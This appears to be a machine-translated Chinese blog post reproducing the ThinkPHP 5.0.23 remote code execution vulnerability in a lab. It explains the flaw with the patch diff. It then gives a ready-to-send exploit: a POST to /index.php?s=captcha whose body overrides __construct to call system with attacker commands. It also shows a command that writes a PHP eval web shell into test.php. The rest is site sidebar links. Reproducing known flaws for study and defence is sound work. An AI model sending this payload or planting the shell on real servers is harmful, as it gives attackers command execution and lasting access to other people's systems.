当前位置:网站首页>Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
2022-06-30 18:23:00 【Seven days】
List of articles
One 、 Vulnerability profile
5.0.23 In previous versions , obtain method The method name is not handled correctly in the method of , Causes an attacker to call Request Class any method and construct the utilization chain , This leads to a Remote Code Execution Vulnerability .Thinkphp Source download
The vulnerability code is as follows :
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
call $this->{$this->method}($_POST); sentence . When we can control $method The value of , You can call Request Class , When the constructor is called __construct() when , Can be covered Request Any member variable of a class , You can override $this->method, Appoint check() Methods $method value .
Two 、 Loophole recurrence
visit IP:8080 Grab the bag
Change request toPOST /index.php?s=captcha
Message body is :_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id/ls/whoami/echo <?php eval($_POST['cmd']);?> > test.php


边栏推荐
- Thinking on large file processing (upload, download)
- Research on the principle of Tencent persistence framework mmkv
- Ardunio esp32 obtains real-time temperature and humidity in mqtt protocol (DH11)
- Vscode status bar statusbar
- Tsinghua only ranks third? 2022 release of AI major ranking of Chinese Universities of soft science
- [machine learning] K-means clustering analysis
- 【机器学习】K-means聚类分析
- Vue3 reactive database
- Grep output with multiple colors- Grep output with multiple Colors?
- [bjdctf2020]the mystery of ip|[ciscn2019 southeast China division]web11|ssti injection
猜你喜欢

MIT science and Technology Review released the list of innovators under the age of 35 in 2022, including alphafold authors, etc

Oneortwo bugs in "software testing" are small things, but security vulnerabilities are big things. We must pay attention to them

Apache parsing vulnerability (cve-2017-15715)_ Vulnerability recurrence

How to write a technical proposal

漏洞复现----35、uWSGI PHP 目录遍历漏洞 (CVE-2018-7490)

C# Winform程序界面优化实例

漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞

Deep understanding of JVM (IV) - garbage collection (I)

墨天轮沙龙 | 清华乔嘉林:Apache IoTDB,源于清华,建设开源生态之路

零基础也能做Apple大片!这款免费工具帮你渲染、做特效、丝滑展示
随机推荐
New research of HKUST & MsrA: about image to image conversion, finishing is all you need
What did Tongji and Ali study in the CVPR 2022 best student thesis award? This is an interpretation of yizuo
Advanced embedded application of uni app [day14]
Add code block in word (Reprint)
Thinking on large file processing (upload, download)
MSF后渗透总结
漏洞复现----35、uWSGI PHP 目录遍历漏洞 (CVE-2018-7490)
[binary tree] preorder traversal to construct binary search tree
LeetCode之合并二叉树
Elastic 8.0: opening a new era of speed, scale, relevance and simplicity
Redis (V) - advanced data types
Taishan Office Technology Lecture: how to align and draw words of different sizes on the same line
Distributed machine learning: model average Ma and elastic average easgd (pyspark)
Tensorflow2 深度学习十必知
Unity实战之一个脚本实现雷达图
【机器学习】K-means聚类分析
腾讯持久化框架MMKV原理探究
Vue3 reactive database
ABAP publish restful service
同济、阿里的CVPR 2022最佳学生论文奖研究了什么?这是一作的解读